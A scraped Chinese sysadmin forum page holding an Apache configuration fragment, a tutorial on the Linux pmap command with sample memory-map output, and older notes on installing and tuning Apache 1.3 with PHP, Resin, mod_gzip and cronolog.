vbseo_sitemap/vbseo_getsitemap.php?sitemap=$1 [L] RewriteCond %{QUERY_STRING} !vbseourl= RewriteCond %{REQUEST_URI} !(admincp/|modcp/|chat|cron) RewriteRule ^(.*\.php(/.*)?)$ vbseo.php?vbseourl=$1 [L,QSA] RewriteCond %{REQUEST_FILENAME} !\.(jpg|gif)$ RewriteRule ^(archive/.*)$ vbseo.php?vbseourl=$1 [L,QSA] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !^(admincp|modcp|clientscript|cpstyles|images)/ RewriteRule ^(.+)$ vbseo.php?vbseourl=$1 [L,QSA] </IfModule> </Directory> <IfModule dir_module> DirectoryIndex index.php index.php3 index.html index.htm </IfModule> <ifmodule deflate_module> DeflateCompressionLevel 9 SetOutputFilter DEFLATE DeflateFilterNote Input instream DeflateFilterNote Output outstream DeflateFilterNote Ratio ratio LogFormat '"%r" %{outstream}n/%{instream}n (%{ratio}n%%)' deflate CustomLog "e:/logs/deflate_log.log" deflate </ifmodule> <FilesMatch "^\.ht"> Order allow,deny Deny from all </FilesMatch> ErrorLog "e:/logs/apache_error.log" LogLevel warn <IfModule log_config_module> LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %b" common <IfModule logio_module> # You need to enable mod_logio.c to use %I and %O LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio </IfModule> #CustomLog "e:/logs/access.log" common </IfModule> <IfModule alias_module> ScriptAlias /cgi-bin/ "cgi-bin/" </IfModule> <Directory "cgi-bin"> AllowOverride None Options None Order allow,deny Allow from all </Directory> DefaultType text/plain <IfModule mime_module> TypesConfig conf/mime.types AddType application/x-compress .Z AddType application/x-gzip .gz .tgz AddType application/x-httpd-php .php AddType application/x-httpd-php .php3 </IfModule> <IfModule ssl_module> SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule> Include "X:/alias/*"
6/28 14:51
|
|
工具箱
|
||
linux之pmap命令 |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
Linux下使用pmap命令能查看一个具体进程所用内存的分布情况。
我如下测试了服务器上一个httpd进程的情况: 00111000 8K r-x-- /lib/libuuid.so.1.2 00113000 4K rw--- /lib/libuuid.so.1.2 00114000 4K r-x-- /usr/local/apache2/modules/mod_authn_dbm.so 00115000 4K rw--- /usr/local/apache2/modules/mod_authn_dbm.so 00116000 4K r-x-- /usr/local/apache2/modules/mod_authn_anon.so 00117000 4K rw--- /usr/local/apache2/modules/mod_authn_anon.so 00118000 4K r-x-- /usr/local/apache2/modules/mod_authn_dbd.so 00119000 4K rw--- /usr/local/apache2/modules/mod_authn_dbd.so 0011a000 4K r-x-- /usr/local/apache2/modules/mod_authn_default.so 0011b000 4K rw--- /usr/local/apache2/modules/mod_authn_default.so 0011c000 8K r-x-- /usr/local/apache2/modules/mod_authz_groupfile.so 0011e000 4K rw--- /usr/local/apache2/modules/mod_authz_groupfile.so 0011f000 8K r-x-- /usr/local/apache2/modules/mod_authz_dbm.so 00121000 4K rw--- /usr/local/apache2/modules/mod_authz_dbm.so 00122000 4K r-x-- /usr/local/apache2/modules/mod_authz_owner.so 00123000 4K rw--- /usr/local/apache2/modules/mod_authz_owner.so 00124000 4K r-x-- /usr/local/apache2/modules/mod_authz_default.so 00125000 4K rw--- /usr/local/apache2/modules/mod_authz_default.so 00126000 8K r-x-- /usr/local/apache2/modules/mod_auth_basic.so 00128000 4K rw--- /usr/local/apache2/modules/mod_auth_basic.so 00129000 8K r-x-- /usr/local/apache2/modules/mod_dumpio.so 0012b000 4K rw--- /usr/local/apache2/modules/mod_dumpio.so 0012c000 16K r-x-- /usr/local/apache2/modules/mod_deflate.so 00130000 4K rw--- /usr/local/apache2/modules/mod_deflate.so 00131000 16K r-x-- /usr/local/apache2/modules/mod_log_config.so 00135000 4K rw--- /usr/local/apache2/modules/mod_log_config.so 00136000 4K r-x-- /usr/local/apache2/modules/mod_env.so 00137000 4K rw--- /usr/local/apache2/modules/mod_env.so 00138000 8K r-x-- /usr/local/apache2/modules/mod_expires.so 0013a000 4K rw--- /usr/local/apache2/modules/mod_expires.so 0013b000 8K r-x-- /usr/local/apache2/modules/mod_ident.so 0013d000 4K rw--- /usr/local/apache2/modules/mod_ident.so 0013e000 8K r-x-- /usr/local/apache2/modules/mod_usertrack.so 00140000 4K rw--- /usr/local/apache2/modules/mod_usertrack.so 00141000 8K r-x-- /usr/local/apache2/modules/mod_unique_id.so 00143000 4K rw--- /usr/local/apache2/modules/mod_unique_id.so 00144000 8K r-x-- /usr/local/apache2/modules/mod_setenvif.so 00146000 4K rw--- /usr/local/apache2/modules/mod_setenvif.so 00147000 24K r-x-- /usr/local/apache2/modules/mod_proxy_ajp.so 0014d000 4K rw--- /usr/local/apache2/modules/mod_proxy_ajp.so 0014e000 12K r-x-- /usr/local/apache2/modules/mod_mime.so 00151000 4K rw--- /usr/local/apache2/modules/mod_mime.so 00152000 36K r-x-- /usr/local/apache2/modules/mod_dav_fs.so 0015b000 4K rw--- /usr/local/apache2/modules/mod_dav_fs.so 0015c000 8K r-x-- /usr/local/apache2/modules/mod_vhost_alias.so 0015e000 4K rw--- /usr/local/apache2/modules/mod_vhost_alias.so 0015f000 4K r-x-- /usr/local/apache2/modules/mod_actions.so 00160000 4K rw--- /usr/local/apache2/modules/mod_actions.so 00161000 8K r-x-- /usr/local/apache2/modules/mod_speling.so 00163000 4K rw--- /usr/local/apache2/modules/mod_speling.so 00164000 8K r-x-- /usr/local/apache2/modules/mod_alias.so 00166000 4K rw--- /usr/local/apache2/modules/mod_alias.so 00167000 136K r-x-- /usr/local/lib/libmcrypt.so.4.4.8 00189000 12K rw--- /usr/local/lib/libmcrypt.so.4.4.8 0018c000 24K rw--- [ anon ] 00192000 56K r-x-- /usr/X11R6/lib/libXpm.so.4.11 001a0000 4K rw--- /usr/X11R6/lib/libXpm.so.4.11 001ae000 4K r-x-- /usr/local/apache2/modules/mod_asis.so 001af000 4K rw--- /usr/local/apache2/modules/mod_asis.so 001b4000 24K r-x-- /usr/local/apache2/modules/mod_proxy_http.so 001ba000 4K rw--- /usr/local/apache2/modules/mod_proxy_http.so 001bb000 396K r-x-- /usr/local/lib/libfreetype.so.6.3.14 0021e000 16K rw--- /usr/local/lib/libfreetype.so.6.3.14 00231000 28K r-x-- /usr/local/apache2/modules/mod_proxy_ftp.so 00238000 4K rw--- /usr/local/apache2/modules/mod_proxy_ftp.so 002d1000 24K r-x-- /usr/local/apache2/modules/mod_auth_digest.so 002d7000 4K rw--- /usr/local/apache2/modules/mod_auth_digest.so 003a2000 20K r-x-- /usr/local/apache2/modules/mod_cgi.so 003a7000 4K rw--- /usr/local/apache2/modules/mod_cgi.so 003b4000 76K r-x-- /usr/local/apache2/lib/libaprutil-1.so.0.2.8 003c7000 4K rw--- /usr/local/apache2/lib/libaprutil-1.so.0.2.8 0044b000 72K r-x-- /usr/local/apache2/modules/mod_dav.so 0045d000 4K rw--- /usr/local/apache2/modules/mod_dav.so 0049c000 28K r-x-- /usr/local/apache2/modules/mod_autoindex.so 004a3000 4K rw--- /usr/local/apache2/modules/mod_autoindex.so 004a7000 16K r-x-- /lib/libnss_dns-2.3.4.so 004ab000 8K rw--- /lib/libnss_dns-2.3.4.so 004d7000 32K r-x-- /usr/local/apache2/modules/mod_include.so 004df000 4K rw--- /usr/local/apache2/modules/mod_include.so 0051f000 52K r-x-- /usr/local/apache2/modules/mod_proxy.so 0052c000 4K rw--- /usr/local/apache2/modules/mod_proxy.so 0056f000 84K r-x-- /lib/ld-2.3.4.so 00584000 4K r---- /lib/ld-2.3.4.so 00585000 4K rw--- /lib/ld-2.3.4.so 00588000 1168K r-x-- /lib/tls/libc-2.3.4.so 006ac000 4K r---- /lib/tls/libc-2.3.4.so 006ad000 12K rw--- /lib/tls/libc-2.3.4.so 006b0000 8K rw--- [ anon ] 006b4000 8K r-x-- /lib/libdl-2.3.4.so 006b6000 8K rw--- /lib/libdl-2.3.4.so 006ba000 132K r-x-- /lib/tls/libm-2.3.4.so 006db000 8K rw--- /lib/tls/libm-2.3.4.so 006df000 60K r-x-- /usr/lib/libz.so.1.2.1.2 006ee000 4K rw--- /usr/lib/libz.so.1.2.1.2 006f1000 56K r-x-- /lib/tls/libpthread-2.3.4.so 006ff000 8K rw--- /lib/tls/libpthread-2.3.4.so 00701000 8K rw--- [ anon ] 00705000 60K r-x-- /lib/libresolv-2.3.4.so 00714000 8K rw--- /lib/libresolv-2.3.4.so 00716000 8K rw--- [ anon ] 0077d000 4K r-x-- /usr/local/apache2/modules/mod_logio.so 0077e000 4K rw--- /usr/local/apache2/modules/mod_logio.so 00795000 4K r-x-- /usr/local/apache2/modules/mod_dir.so 00796000 4K rw--- /usr/local/apache2/modules/mod_dir.so 00822000 24K r-x-- /usr/lib/libltdl.so.3.1.0 00828000 4K rw--- /usr/lib/libltdl.so.3.1.0 00839000 32K r-x-- /lib/tls/librt-2.3.4.so 00841000 8K rw--- /lib/tls/librt-2.3.4.so 00843000 40K rw--- [ anon ] 00863000 20K r-x-- /usr/local/apache2/modules/mod_proxy_balancer.so 00868000 4K rw--- /usr/local/apache2/modules/mod_proxy_balancer.so 00870000 8K r-x-- /usr/local/apache2/modules/mod_log_forensic.so 00872000 4K rw--- /usr/local/apache2/modules/mod_log_forensic.so 00885000 4K r-x-- /usr/local/apache2/modules/mod_authn_file.so 00886000 4K rw--- /usr/local/apache2/modules/mod_authn_file.so 008d2000 52K r-x-- /usr/X11R6/lib/libXext.so.6.4 008df000 4K rw--- /usr/X11R6/lib/libXext.so.6.4 008ff000 12K r-x-- /usr/local/apache2/modules/mod_imagemap.so 00902000 4K rw--- /usr/local/apache2/modules/mod_imagemap.so 00907000 20K r-x-- /lib/libcrypt-2.3.4.so 0090c000 8K rw--- /lib/libcrypt-2.3.4.so 0090e000 156K rw--- [ anon ] 00963000 12K r-x-- /usr/local/apache2/modules/mod_filter.so 00966000 4K rw--- /usr/local/apache2/modules/mod_filter.so 00990000 116K r-x-- /usr/lib/libexpat.so.0.5.0 009ad000 8K rw--- /usr/lib/libexpat.so.0.5.0 009e4000 136K r-x-- /usr/lib/libfontconfig.so.1.0.4 00a06000 12K rw--- /usr/lib/libfontconfig.so.1.0.4 00a09000 4K rw--- [ anon ] 00a12000 112K r-x-- /usr/local/lib/libjpeg.so.62.0.0 00a2e000 4K rw--- /usr/local/lib/libjpeg.so.62.0.0 00a50000 36K r-x-- /lib/libnss_files-2.3.4.so 00a59000 8K rw--- /lib/libnss_files-2.3.4.so 00a9a000 72K r-x-- /lib/libnsl-2.3.4.so 00aac000 8K rw--- /lib/libnsl-2.3.4.so 00aae000 8K rw--- [ anon ] 00b1e000 24K r-x-- /usr/local/apache2/modules/mod_negotiation.so 00b24000 4K rw--- /usr/local/apache2/modules/mod_negotiation.so 00bfa000 48K r-x-- /usr/local/apache2/modules/mod_rewrite.so 00c06000 4K rw--- /usr/local/apache2/modules/mod_rewrite.so 00c5e000 124K r-x-- /usr/local/lib/libpng12.so.0.16.0 00c7d000 4K rw--- /usr/local/lib/libpng12.so.0.16.0 00caf000 4K r-x-- /usr/local/apache2/modules/mod_authz_user.so 00cb0000 4K rw--- /usr/local/apache2/modules/mod_authz_user.so 00d20000 4K r-x-- /usr/local/apache2/modules/mod_version.so 00d21000 4K rw--- /usr/local/apache2/modules/mod_version.so 00d58000 8K r-x-- /usr/local/apache2/modules/mod_cern_meta.so 00d5a000 4K rw--- /usr/local/apache2/modules/mod_cern_meta.so 00d90000 12K r-x-- /usr/local/apache2/modules/mod_headers.so 00d93000 4K rw--- /usr/local/apache2/modules/mod_headers.so 00db1000 8K r-x-- /usr/local/apache2/modules/mod_authz_host.so 00db3000 4K rw--- /usr/local/apache2/modules/mod_authz_host.so 00dc8000 16K r-x-- /usr/local/apache2/modules/mod_mime_magic.so 00dcc000 4K rw--- /usr/local/apache2/modules/mod_mime_magic.so 00dce000 156K r-x-- /usr/local/lib/libgd.so.2.0.0 00df5000 128K rw--- /usr/local/lib/libgd.so.2.0.0 00e15000 80K rw--- [ anon ] 00eac000 8K r-x-- /usr/local/apache2/modules/mod_proxy_connect.so 00eae000 4K rw--- /usr/local/apache2/modules/mod_proxy_connect.so 00eb8000 124K r-x-- /usr/local/apache2/lib/libapr-1.so.0.2.8 00ed7000 4K rw--- /usr/local/apache2/lib/libapr-1.so.0.2.8 00fb5000 16K r-x-- /usr/local/apache2/modules/mod_ext_filter.so 00fb9000 4K rw--- /usr/local/apache2/modules/mod_ext_filter.so 00fba000 5644K r-x-- /usr/local/apache2/modules/libphp5.so 0153d000 208K rw--- /usr/local/apache2/modules/libphp5.so 01571000 16K rw--- [ anon ] 01bf5000 876K r-x-- /usr/X11R6/lib/libX11.so.6.2 01cd0000 16K rw--- /usr/X11R6/lib/libX11.so.6.2 02cde000 912K r-x-- /usr/lib/libxml2.so.2.6.16 02dc2000 36K rw--- /usr/lib/libxml2.so.2.6.16 02dcb000 32K rw--- [ anon ] 03cfd000 292K r-x-- /usr/local/mysql/lib/mysql/libmysqlclient.so.15.0.0 03d46000 1076K rw--- /usr/local/mysql/lib/mysql/libmysqlclient.so.15.0.0 03e53000 4K rw--- [ anon ] 08048000 304K r-x-- /usr/local/apache2/bin/httpd 08094000 12K rw--- /usr/local/apache2/bin/httpd 08097000 12K rw--- [ anon ] 08646000 2712K rw--- [ anon ] b7b4c000 336K rw--- [ anon ] b7ba0000 1188K rw-s- /dev/zero (deleted) b7cc9000 4K r---- /usr/lib/locale/locale-archive b7cca000 24K r---- /usr/lib/locale/locale-archive b7cd0000 180K r---- /usr/lib/locale/locale-archive b7cfd000 2048K r---- /usr/lib/locale/locale-archive b7f3e000 16K rw--- [ anon ] bfe8e000 1480K rw--- [ stack ] ffffe000 4K ----- [ anon ] total 22268K 没想到Mcrypt, GD这些东西这么占内存,以后编译源代码一定不能什么都装,尽量精简才是上策。 linux之pmap命令! =========================================================== 作者: tonykorn97(http://tonykorn97.itpub.net) 发表于: 2007.01.09 17:39 分类: linux 出处: http://tonykorn97.itpub.net/post/6414/249221 --------------------------------------------------------------- pmap ldd stace 要熟悉的几个调试命令! 观察到系统中的指定进程的地址空间分布情况显示一个目标文件或者链接库文件中的目标文件的各个段的大小。该文件从/proc//maps中获得数据。 命令格式: pmap 范例: [root@localhost security]# pmap -d 4993 4993: -bash Address Kbytes Mode Offset Device Mapping 08047000 596 r-x-- 0000000000000000 003:00006 bash bash的代码段 080dc000 28 rwx-- 0000000000094000 003:00006 bash bash的数据段 080e3000 280 rwx-- 00000000080e3000 000:00000 [ anon ] bash的堆 4d575000 84 r-x-- 0000000000000000 003:00006 ld-2.3.4.so 共享库的代码段 4d58a000 4 r-x-- 0000000000015000 003:00006 ld-2.3.4.so 共享库的数据段 4d58b000 4 rwx-- 0000000000016000 003:00006 ld-2.3.4.so 共享库的堆 4d58e000 1164 r-x-- 0000000000000000 003:00006 libc-2.3.4.so 4d6b1000 4 r-x-- 0000000000123000 003:00006 libc-2.3.4.so 4d6b2000 12 rwx-- 0000000000124000 003:00006 libc-2.3.4.so 4d6b5000 8 rwx-- 000000004d6b5000 000:00000 [ anon ] 匿名物理内存, 4d6de000 8 r-x-- 0000000000000000 003:00006 libdl-2.3.4.so 4d6e0000 8 rwx-- 0000000000001000 003:00006 libdl-2.3.4.so 4d807000 12 r-x-- 0000000000000000 003:00006 libtermcap.so.2.0.8 4d80a000 4 rwx-- 0000000000002000 003:00006 libtermcap.so.2.0.8 b7bc2000 176 r-x-- 0000000000000000 003:00006 GB18030.so b7bee000 8 rwx-- 000000000002b000 003:00006 GB18030.so b7bf0000 24 r-xs- 0000000000000000 003:00006 gconv-modules.cache b7bf6000 1060 r-x-- 0000000002197000 003:00006 locale-archive b7cff000 2048 r-x-- 0000000000000000 003:00006 locale-archive b7eff000 36 r-x-- 0000000000000000 003:00006 libnss_files-2.3.4.so b7f08000 8 rwx-- 0000000000008000 003:00006 libnss_files-2.3.4.so b7f0a000 8 rwx-- 00000000b7f0a000 000:00000 [ anon ] b7f20000 8 rwx-- 00000000b7f20000 000:00000 [ anon ] bff0d000 84 rw--- 00000000bff0d000 000:00000 [ stack ] ffffe000 4 ----- 0000000000000000 000:00000 [ anon ] mapped: 5680K writeable/private: 460K shared: 24K 每列的含义如下: 参数 解释 Address:00378000-0038d000 进程所占的地址空间 Kbytes 该虚拟段的大小 RSS 设备号(主设备:次设备) Anon 设备的节点号,0表示没有节点与内存相对应 Locked 是否允许swapped Mode 权限:r=read, w=write, x=execute, s=shared, p=private(copy on write) Mapping: bash 对应的映像文件名 [root@localhost security]# pmap -x 4993 4993: -bash Address Kbytes RSS Anon Locked Mode Mapping 08047000 596 - - - r-x-- bash 080dc000 28 - - - rwx-- bash 080e3000 280 - - - rwx-- [ anon ] 4d575000 84 - - - r-x-- ld-2.3.4.so 4d58a000 4 - - - r-x-- ld-2.3.4.so 4d58b000 4 - - - rwx-- ld-2.3.4.so 4d58e000 1164 - - - r-x-- libc-2.3.4.so 4d6b1000 4 - - - r-x-- libc-2.3.4.so 4d6b2000 12 - - - rwx-- libc-2.3.4.so 4d6b5000 8 - - - rwx-- [ anon ] 4d6de000 8 - - - r-x-- libdl-2.3.4.so 4d6e0000 8 - - - rwx-- libdl-2.3.4.so 4d807000 12 - - - r-x-- libtermcap.so.2.0.8 4d80a000 4 - - - rwx-- libtermcap.so.2.0.8 b7bc2000 176 - - - r-x-- GB18030.so b7bee000 8 - - - rwx-- GB18030.so b7bf0000 24 - - - r-xs- gconv-modules.cache b7bf6000 1060 - - - r-x-- locale-archive b7cff000 2048 - - - r-x-- locale-archive b7eff000 36 - - - r-x-- libnss_files-2.3.4.so b7f08000 8 - - - rwx-- libnss_files-2.3.4.so b7f0a000 8 - - - rwx-- [ anon ] b7f20000 8 - - - rwx-- [ anon ] bff0d000 84 - - - rw--- [ stack ] ffffe000 4 - - - ----- [ anon ] -------- ------- ------- ------- ------- total kB 5680 - - - [root@localhost security]#
6/28 14:46
|
|
工具箱
|
||
APACHE安装笔记 |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
APACHE安装笔记
简化安装==>性能调优==>方便维护的角度,讨论WEB服务的规划==>HTTPD安装/应用模块配置==>升级/维护等过程。 让APACHE的升级和PHP RESIN等应用模块的升级完全互不影响。 摘要: WEB应用容量规划:根据硬件配置和WEB应用的特点进行WEB服务的规划及一些简单的估算公式; APACHE安装过程:apache的通用的简化安装选项,方便以后的应用的模块化配置; 修改 HARD_SERVER_LIMIT: vi /path/to/apache_src/src/include/httpd.h #define HARD_SERVER_LIMIT 2560 <===将原来的 HARD_SERVER_LIMIT 256 后面加个“0” apache编译: /path/to/apache_src/configure --prefix=/another_driver/apache --enable-shared=max --enable-module=most 可选应用模块/工具的安装:php resin mod_gzip mod_expire及各个模块之间的配合; PHP安装: /path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --enable-track-vars --with-other-modules-you-need mod_resin安装: /path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs Mod_gzip安装: /path/to/apache/bin/apxs -i -a -c mod_gzip.c 工具:cronolog安装:http://www.cronolog.org ; 升级/维护:看看通用和模块化的安装过程如何简化了日常的升级/维护工作; 按照以上的方法:系统管理员和应用管理员的职责可以清楚的分开,互相独立。 系统安装:系统管理员的职责就是安装系统=>安装好一台可以适应任何情况的APACHE,然后COLON, 应用安装:由应用管理员负责具体应用所需要的模块并设置HTTPD。 系统升级:系统管理员:升级系统/升级APACHE 应用升级:系统管理员:升级应用模块 具体的说明: WEB应用的容量规划 APACHE主要是一个内存消耗型的服务应用,我个人总结的经验公式: apache_max_process_with_good_perfermance < (total_hardware_memory / apache_memory_per_process ) * 2 apache_max_process = apache_max_process_with_good_perfermance * 1.5 为什么会有一个apache_max_process_with_good_perfermance和apache_max_process呢?原因是在低负载下系统可以使用更多的内存用于文件系统的缓存,从而进一步提高单个请求的响应速度。在高负载下,系统的单个请求响应速度会慢不少,而超过apache_max_process,系统会因为开始使用硬盘做虚拟内存交换空间而导致系统崩溃。此外,同样的服务:2G内存的机器的apache_max_process一般只设置到1G内存的1.7倍,因为APACHE本身会因为管理更多的进程而产生性能下降。 例子1: 一个apache + mod_php的服务器:一个apache进程一般需要4M内存 因此在一个1G内存的机器上:apache_max_process_with_good_perfermance < (1g / 4m) * 2 = 500 apache_max_process = 500 * 1.5 = 750 所以规划你的应用让服务尽量跑在500个APACHE以下,并设置APACHE的软上限在800个。 例子2: 一个apache + mod_resin的服务器: 一个apache进程一般需要2M内存 在一个2G内存的机器上: apache_max_process_with_good_perfermance < (2g / 2m ) * 2 = 2000 因此:apache_max_process = 2000 * 1.5 = 3000 以上估算都是按小文件服务估算的(一个请求一般大小在20k以下)。对于文件下载类型站点,可能还会受其他因素:比如带宽等的影响。 APACHE安装过程 服务器个数的硬上限HARD_SERVER_LIMIT的修改: 在FREEBSD和LINUX等UNIX操作系统下APACHE缺省的最大进程数是256个,需要修改apache_1.3.xx/src/include/httpd.h #ifndef HARD_SERVER_LIMIT #ifdef WIN32 #define HARD_SERVER_LIMIT 1024 #elif defined(NETWARE) #define HARD_SERVER_LIMIT 2048 #else #define HARD_SERVER_LIMIT 2560 <===将原来的HARD_SERVER_LIMIT 256 后面加个“0” #endif #endif 解释: APACHE缺省的最大用户数是256个:这个配置对于服务器内存还是256M左右的时代是一个非常好的缺省设置,但随着内存成本的急剧下降,现在大型站点的服务器内存配置一般比当时要高一个数量级不止。所以256个进程的硬限制对于一台1G内存的机器来说是太浪费了,而且APACHE的软上限max_client是受限于HARD_SERVER_LIMIT的,因此如果WEB服务器内存大于256M,都应该调高APACHE的HARD_SERVER_LIMIT。根据个人的经验:2560已经可以满足大部分小于2G内存的服务器的容量规划了(APACHE的软上限的规划请看后面)。 APACHE的编译:通用的编译选项能使安装过程标准化 ./configure --prefix=/another_driver/apache/ --enable-shared=max --enable-module=most 解释: --prefix=/another_driver/apache/: 一个系统使用寿命最低的一般就是硬盘,因此:将服务数据和系统完全分开,不仅能提高了数据的访问速度,更重要的,大大方便系统升级,备份和恢复。 --shared-module=max:使用动态加载方式会带来5%的性能下降,但和带来的好处相比更本不算什么:比如模块升级方便,系统升级风险降低,安装过程标准化 --enable-module=most:用most可以将一些不常用的module编译进来,比如后面讲到的mod_expire是就不在apache的缺省常用模块中 如果不想build so, 也可以这样: ./configure \ "--with-layout=Apache" \ "--prefix=/path/to/apache" \ "--disable-module=access" \ "--disable-module=actions" \ "--disable-module=autoindex" \ "--disable-module=env" \ "--disable-module=imap" \ "--disable-module=negotiation" \ "--disable-module=setenvif" \ "--disable-module=status" \ "--disable-module=userdir" \ "--disable-module=cgi" \ "--disable-module=include" \ "--disable-module=auth" \ "--disable-module=asis" 但结果会发现,这样编译对服务性能只能有微小的提高(5%左右),但却失去了以后系统升级和模块升级的灵活性,无论是模块还是APACHE本身升级都必须把所有SOURCE加在一起重新编译。 apache的缺省配置文件一般比较大:我们可以使用去掉注释的方法精简一下:然后再进入具体的培植过程能让你更快的定制出你所需要的。 grep -v "#" httpd.conf.default >httpd.conf 需要修改的通用项目有以下几个: #服务端口,缺省是8080,建议将整个APACHE配置调整好后再将服务端口改到正式服务的端口 Port 8080 => 80 #服务器名:缺省没有 ServerName name.example.com #最大服务进程数:根据服务容量预测设置 MaxClients 256 => 800 #缺省启动服务后的服务进程数:等服务比较平稳后,按平均负载下的httpd个数设置就可以 StartServers 5 => 200 不要修改: 以前有建议说修改: MinSpareServers 5 => 100 MaxSpareServers 10 => 200 但从我的经验看来:缺省值已经是非常优化的了,而且让APACHE自己调整进程个数还是比较好的。 特别修改: 在solaris或一些比较容易出现内存泄露的应用上: MaxRequestsPerChild 0 =>3000 应用模块和工具的安装配置: 由于使用模块动态加载的模式,所以可以方便的通过简单的配置调整来把APACHE定制成你需要的:最好把不常用模块全部清除(无论处于安全还是效率)。 比如:对于静态页面服务器:就什么模块都不加载,对于PHP应用就加上PHP模块,对于JAVA应用就把RESIN模块加载上。而且各种模块的插拔非常简单。 一般说来,可以不需要的模块包括: #LoadModule env_module libexec/mod_env.so #LoadModule negotiation_module libexec/mod_negotiation.so #LoadModule status_module libexec/mod_status.so #server side include已经过时了 #LoadModule includes_module libexec/mod_include.so #不需要将没有缺省index文件的目录下所有文件列出 #LoadModule autoindex_module libexec/mod_autoindex.so #尽量不使用CGI:一直是APACHE安全问题最多的地方 #LoadModule cgi_module libexec/mod_cgi.so #LoadModule asis_module libexec/mod_asis.so #LoadModule imap_module libexec/mod_imap.so #LoadModule action_module libexec/mod_actions.so #不使用安全校验可以大大提高访问速度 #LoadModule access_module libexec/mod_access.so #LoadModule auth_module libexec/mod_auth.so #LoadModule setenvif_module libexec/mod_setenvif.so 最好保留的有: #用于定制log格式 LoadModule config_log_module libexec/mod_log_config.so #用于增加文件应用的关联 LoadModule mime_module libexec/mod_mime.so #用于缺省index文件:index.php等 LoadModule dir_module libexec/mod_dir.so 可用可不用的有: #比如:需要在~/username/下调试php可以将 LoadModule userdir_module libexec/mod_userdir.so #比如:需要将以前的URL进行转向或者需要使用CGI script-alias LoadModule alias_module libexec/mod_alias.so 常用的模块: 最常用的可能就是php和JAVA WEB应用的wrapper,此外,从性能上讲:mod_gzip可以减少40%左右的流量,从而减少机器用于传输的负载,而mod_expires可以减少10%左右的重复请求,让重复的用户请求CACHE在本地,根本不向服务器发出请求。 建议将所有MODULE的配置都放到 PHP的安装: /path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --with-other-modules-you-need 需要修改的配置: AddType application/x-httpd-php .php .php3 .any_file_in_php resin的安装设置: /path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs 一般将具体的resin设置放在另外一个文件中: CauchoConfigFile /path/to/apache/conf/resin.conf mod_expires的安装配置: ExpiresActive on #所有的.gif文件1个月以后过期 ExpiresByType image/gif "access plus 1 month" #所有的文件缺省1天以后过期 ExpiresDefault "now plus 1 day" mod_gzip的安装: /path/to/apache/bin/apxs -i -a -c mod_gzip.c mod_gzip和PHP在一起的配置 mod_gzip_on Yes mod_gzip_minimum_file_size 1000 mod_gzip_maximum_file_size 300000 mod_gzip_item_include file \.htm$ mod_gzip_item_include file \.html$ mod_gzip_item_include file \.php$ mod_gzip_item_include file \.php3$ mod_gzip_item_include mime text/.* mod_gzip_item_include mime httpd/unix-directory #不要让mod_gzip和php的session使用同一个临时目录:php_session需要通过php.ini设置session.save_path = /tmp/php_sess mod_gzip_temp_dir /tmp/mod_gzip mod_gzip_dechunk Yes mod_gzip_keep_workfiles No mod_gzip和mod_php的配合:不要让mod_gzip和mod_php使用同一个临时目录; mod_gzip和RESIN配合:要让mod_gzip在mod_caucho后LOAD,否则mod_gzip不起作用 ...othr modules AddModule mod_so.c AddModule mod_caucho.c #notice: mod_gzip must load after mod_caucho AddModule mod_gzip.c AddModule mod_expires.c ... mod_gzip_on Yes mod_gzip_dechunk yes mod_gzip_keep_workfiles No mod_gzip_minimum_file_size 3000 mod_gzip_maximum_file_size 300000 mod_gzip_item_include file \.html$ mod_gzip_item_include mime text/.* mod_gzip_item_include mime httpd/unix-directory mod_gzip_item_include handler 'caucho-request' 日志轮循工具cronolog的安装和设置:cronolog可以非常整齐的将日志按天轮循存储 缺省编译安装到/usr/local/bin/下,只需要将配置改成: CustomLog "|/usr/local/sbin/cronolog /path/to/apache/logs/%w/access_log" combined 日志将按天截断并存放在以weekday为目录名的目录下:比如:log/1是周一,log/5是周五, log/0是周日 升级维护: 由于使用标准化的DSO模式安装APACHE,APACHE的HTTPD核心服务和应用模块以及应用模块之间都变的非常灵活,建议将所有独立模块的配置都放在 CONFIGURATIONS.. 里,这样配置非常容易通过屏蔽某个模块来进行功能调整:比如: #AddModule mod_gzip.c 就屏蔽了mod_gzip,其他模块不首任何影响。 安装和维护过程: 系统安装:系统管理员的职责就是安装系统和一个可以适应任何情况的APACHE,然后COLON。 应用安装:由应用管理员负责具体应用所需要的模块并设置HTTPD。 系统升级:系统管理员:升级系统/升级APACHE 应用升级:应用管理员:升级应用模块 系统备份/恢复:如果APACHE不在缺省的系统盘上,只需要将APACHE目录备份就可以了,遇到系统分区的硬件问题直接使用预先准备好的系统COLON,直接将APACHE所在物理盘恢复就行了。 系统管理员:APACHE的最简化安装 OS + APACHE(httpd core only) 应用管理员:应用模块定制 +so +php +so +caucho +ssl 应用: 纯静态页面服务: image.example.com www.example.com bbs.example.com mall.example.com 参考文档: Apache http://httpd.apache.org php http://www.php.net Resin http://www.caucho.com mod_gzip http://www.remotecommunications.com/apache/mod_gzip/ Cronolog http://www.cronolog.org mod_expires http://httpd.apache.org/docs/mod/mod_expires.html
6/28 14:36
|
|
工具箱
|
||
招版主或者爱好者了 |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
可以管理任意板块。如果有兴趣可以自己单独建立板块。最近想加一个无线板块不知道谁有兴趣。
6/27 1:32
|
|
工具箱
|
||
回复: Cisco IOS Cookbook 中文精简版 |
||
|---|---|---|
|
新进会员
![]()
注册日期:
6/26 12:08 所属群组:
注册会员 帖子:
2
等级: 1; EXP: 2
